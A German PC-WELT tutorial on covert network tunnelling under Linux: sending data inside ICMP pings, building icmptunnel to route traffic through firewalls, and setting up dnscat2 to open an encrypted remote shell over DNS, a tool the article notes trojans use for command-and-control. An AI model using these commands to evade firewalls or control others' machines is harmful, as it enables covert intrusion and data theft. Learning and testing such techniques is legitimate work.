2409286

Netzwerk: Versteckte Pakete mit Linux verschicken

14.07.2019 | 17:09 Uhr | David Wolski

Ein Netzwerkprotokoll wie DNS oder ICMP muss nicht unbedingt das tun, wofür es ursprünglich geschaffen wurde. Eine trickreiche Kapselung erlaubt die Datenübertragung in ungewöhnlichen Protokollen und umgeht strenge Firewallregeln.

In der Tier- und Pflanzenwelt erwerben Arten per Mimikry, also durch Nachahmung anderer Arten, allerlei Vorteile, die einen Vorsprung bei Tarnung, Paarung und Überleben bringen. Zu den bekannten Beispielen gehört die Stabschrecke, die sich in den Wäldern Südostasiens als harmloser Zweig tarnt. Auch bei Netzwerkprotokollen gibt es gezielte Manipulation von Netzwerkpaketen und Formen der Mimikry. In diesem Zusammenhang transportiert ein Netzwerkpaket andere oder mehr Informationen, als sie das zugrundeliegende Protokoll vorsieht.

Ping: Wie Kapselung funktioniert

Wenn es darum geht, Firewalls und Paketfilter auszutricksen, hat diese Art der Mimikry durchaus praktischen Nutzen. Die Tools stammen allerdings aus dem Giftschrank und werden nicht auf dem Silbertablett serviert. Deshalb folgt zuerst ein Beispiel mit Bordmitteln zur Einstimmung, bevor es dann zur nützlichen, aber subversiven Kapselung von Datenverbindungen geht.

Das Protokoll ICMP (Internet Control Message Protocol) ist den meisten Anwendern durch Ping bekannt, das ein ICMP-Paket an den angegebenen Host schickt und dessen Erreichbarkeit sowie die Antwortzeit auswertet. ICMP kann aber mehr: Gebraucht werden zwei Linux-Systeme im LAN, die sich gegenseitig anpingen können.

1. Auf Linux-Rechner 1 benötigt man dessen IP-Adresse im LAN, die der Befehl

ip a 

liefert. Auf diesem System muss das Paket „nmap“ installiert werden, das sich in den Paketquellen aller Distributionen findet.

2. Das Linux-System 2 soll vom Rechner 1 verkapselte Nachrichten erhalten. Damit dies funktioniert, geben wir dort den Terminalbefehl

sudo tcpdump -X "icmp and src host [IP1]"  

ein, wobei der Platzhalter „[IP1]“ für die Adresse des Linux-Rechners 1 steht.

3. Zurück zum Rechner 1: Hier sendet das Kommando

sudo nping --icmp [IP2] --datastring "Hallo! Die LinuxWelt ist toll."  

die Nachricht „Hallo! Die LinuxWelt ist toll.“ Der Platzhalter „[IP2]“ steht hier für Adresse des Rechners 2, auf dessen Befehlszeile jetzt tcpdump die empfangenen Pakete mit diesem Text auflistet.

Crashkurs: Samba und SSH in Linux nutzen

Tunnel total: Alles per ICMP

Das Experiment mit ICMP zeigt, wie der alternative Transport von Netzwerkdaten funktionieren kann. Der Nutzen dahinter ist das Tunneln von Verbindungen durch Firewalls hindurch, denn das Protokoll ICMP erlauben meist auch strenge Firewallregeln, damit Administratoren Verbindungen testen können. Das dafür nötige Tool pingtun zum Graben des Tunnels müssen wir aber auf dem Client-Rechner und dem Server selbst kompilieren.

Vorbereitung: Beide Linux-Systeme, die der Tunnel verbinden soll, brauchen Git sowie Compiler, Make-Werkzeuge und die leicht veralteten Netzwerktools aus dem Paket „net-tools“. In Debian, Raspbian und Ubuntu ist das alles mit

sudo apt-get install git buildessential net-tools  

schnell installiert.

Auf dem Server: Dies ist ein Linux-Server im Internet, der von außen erreichbar sein muss und zumindest ICMP-Pakete direkt entgegennimmt. Mit

git clone https://github.com/DhavalKapil/icmptunnel  

holen wir den Quellcode vom Git-Verzeichnis des Entwicklers und kompilieren das Programm Icmptunnel mit

cd icmptunnel && make  

Hat das Kompilieren geklappt, so startet dann der Befehl

sudo ./icmptunnel -s 10.0.1.1  

das Programm im Servermodus, wobei die angegebene IP-Adresse jene der neu eingerichteten Tunnelschnittstelle ist.

Auf dem Client: Auch dort kompilieren wir erst das Programm und müssen dann noch den Inhalt der mitgelieferten Script-Datei „client.sh“ mit den Informationen anpassen, die das Kommando

/sbin/route -n  

auf einem Debian-System anzeigt.

1. Statt „<server>“ muss die reale IPv4-Adresse des Servers eingetragen werden.

2. Die Variable „<gateway>“ enthält die Adresse des lokalen Gateways, also der Routeradresse in einem Heimnetzwerk.

3. Statt „<interface>“ tragen Sie den Namen der aktiven Netzwerkschnittstelle ein, beispielsweise „enp0s2“.

Ist alles korrekt in der Datei „client.sh“ eingetragen, dann startet

sudo ./icmptunnel -c [Server-IP]  

den Tunnel, wobei „[Server-IP]“ für die tatsächliche IPv4-Adresse des Servers ist. Nach einigen Sekunden steht der Tunnel und wird ab jetzt alle Netzwerkpakete, die nicht das LAN zum Ziel haben, über den ICMP-Tunnel weiterleiten.

Tipp: Kleines ABC der Linux-Systemwartung

DNS: Mehr als Namensauflösung

Auf dem Client zeigt die Routingtabelle nach dem Start von Icmptunnel an, dass jetzt jeder Netzwerkverkehr für das Internet über den Icmptunnel-Server geleitet wird.
Vergrößern Auf dem Client zeigt die Routingtabelle nach dem Start von Icmptunnel an, dass jetzt jeder Netzwerkverkehr für das Internet über den Icmptunnel-Server geleitet wird.

Ein weiterer Griff in die Trickkiste spannt das UDP-Protokoll DNS, das zur Namensauflösung im Internet dient, dazu ein, eine Shell auf einem Server zu öffnen. Das Werkzeug dazu nennt sich „Dnscat2“ und wird auch von Trojanern genutzt, um ein manipuliertes Linux-System versteckt mit einer Kommandozentrale zu verbinden. Dnscat2 ist sowohl ein DNS-Client für legitime DNS-Abfragen als auch ein Tool zum versteckten, verschlüsselten Verbindungsaufbau. Falls der DNS-Server zugleich die Kommandozentrale ist, so ist der illegitime Teil des Datenverkehrs nur noch schwer zu entdecken. Man muss dann sehr genau wissen, wonach man sucht.

Auf dem Server: Um das Tool zu testen, benötigen experimentierfreudige Anwender wieder einen eigenen Server im Internet, der DNS-Anfragen auf dem Port 53 akzeptiert. Der Quellcode von Dnscat2 ist in C++ und Ruby geschrieben. Auf Debian, Raspbian und Ubuntu installiert das Kommando

sudo apt-get install ruby-dev g++ ruby-bundler git  

alle Voraussetzungen und

git clone https://github.com/iagox86/dnscat2  

holt den Quellcode auf das System. Dort kann er mit

cd dnscat2; make; cd server; bundle install 

installiert werden. Dann startet der Befehl

sudo ruby dnscat2.rb 

die Serverkomponente auf Port 53 und gibt in der Startmeldung einen Schlüssel hinter „secret“ an. Diese Zeichenkette benötigt der Client, um verschlüsselt mit dem laufenden Dnscat2-Server zu kommunizieren.

Auf dem Client: Das komplette Verzeichnis „dnscat2“ kopiert man mit den enthaltenen, fertig kompilierten Tools auf den Client, auf dem übrigens keine root-Rechte nötig sind. Die Binary für den Dnscat2- Client befindet sich im gleichnamigen Unterverzeichnis „client“ und wird dort mit diesem Befehl gestartet:

./dnscat --dns server=[IP],port=53 --secret=[HEX]  

Die Platzhalter: „[IP]“ steht für die öffentliche IP-Adresse des Servers, auf dem schon Dnscat2 läuft, und „[HEX]“ ist der vom Server angegebene geheime Schlüssel.

Dnscat2 macht aus einem Linux-Server im Internet einen Command-und-Control- Server, der per DNS einen Client steuern kann, auf welchem das Gegenstück läuft.
Vergrößern Dnscat2 macht aus einem Linux-Server im Internet einen Command-und-Control- Server, der per DNS einen Client steuern kann, auf welchem das Gegenstück läuft.

Wieder auf dem Server: Auf dem Client ist nun nichts weiter zu machen, denn die Kontrolle geht von der laufenden Dnscat2-Shell des Servers aus. Deren Syntax ist eigenwillig und darauf getrimmt, mehrere Sessions zu einem Client zu öffnen, um etwa versteckt Dateien abzugreifen oder Befehle auszuführen. Eine interaktive Session startet

session -i 1 

hinter dem Dnscat2-Prompt. Nun geben Sie noch die Befehle

shell
session -i 2  

ein und erhalten eine simple Linux-Kommandozeile auf dem Client. Das Kommando

ls -lha  

listet beispielsweise den Verzeichnisinhalt im aktuellen Ordner auf dem Client auf – dies alles über verschlüsselte Daten in vermeintlich harmlosen DNS-Abfragen.

Die Themen in Tech-up Weekly #146:

►AMD Radeon 7
www.gamestar.de/artikel/radeon-vii-neue-details-300-watt-tdp-direkt-von-amd-erhaeltlich,3339331.html

►Artikel 13: Verschärfte Upload-Filter drohen
www.pcwelt.de/a/artikel-13-verschaerfte-upload-filter-drohen,3463943

► Kein April-Scherz: Samsungs Tinder-App für Kühlschränke
www.pcwelt.de/a/kein-april-scherz-samsungs-tinder-app-fuer-kuehlschraenke,3463932


Quick-News:

► Neue Intel-Microcode-Updates für alle Windows-10-Versionen
www.pcwelt.de/a/neue-intel-microcode-updates-fuer-alle-windows-10-versionen,3463942

►Unicode 12.0 mit 59 neuen Emojis für das Jahr 2019
www.pcwelt.de/a/unicode-12-0-mit-59-neuen-emojis-fuer-das-jahr-2019,3463936

►Apex Legends: EAs Battle-Royale-Antwort auf Fortnite und PUBG
www.pcwelt.de/a/apex-legends-eas-battle-royale-antwort-auf-fortnite-und-pubg,3463923

► GPU Tweak II: Asus zeigt Werbung im Overlay an
www.pcwelt.de/a/gpu-tweak-ii-asus-zeigt-werbung-im-overlay-an,3463934

► Firefox 66 blockiert hörbare Autoplay-Inhalte
www.pcwelt.de/a/firefox-66-blockiert-hoerbare-autoplay-inhalte,3463918

►Neues zum Instagram-Weltrekord-Ei
www.pcwelt.de/a/das-raetsel-um-das-instagram-weltrekord-ei-wurde-geloest,3463927


Fail der Woche:

►Forscher finden funktionierenden USB-Key in Robben-Kot
www.pcwelt.de/a/forscher-finden-in-robben-kot-intakten-usb-stick,3463938

--------

► Unterstützt uns, werdet Kanalmitglied und erhaltet exklusive Vorteile (jederzeit kündbar):
www.youtube.com/pcwelt/join

► Zum PC-WELT T-Shirt-Shop:
www.pcwelt.de/fan

PC-WELT Marktplatz

2409286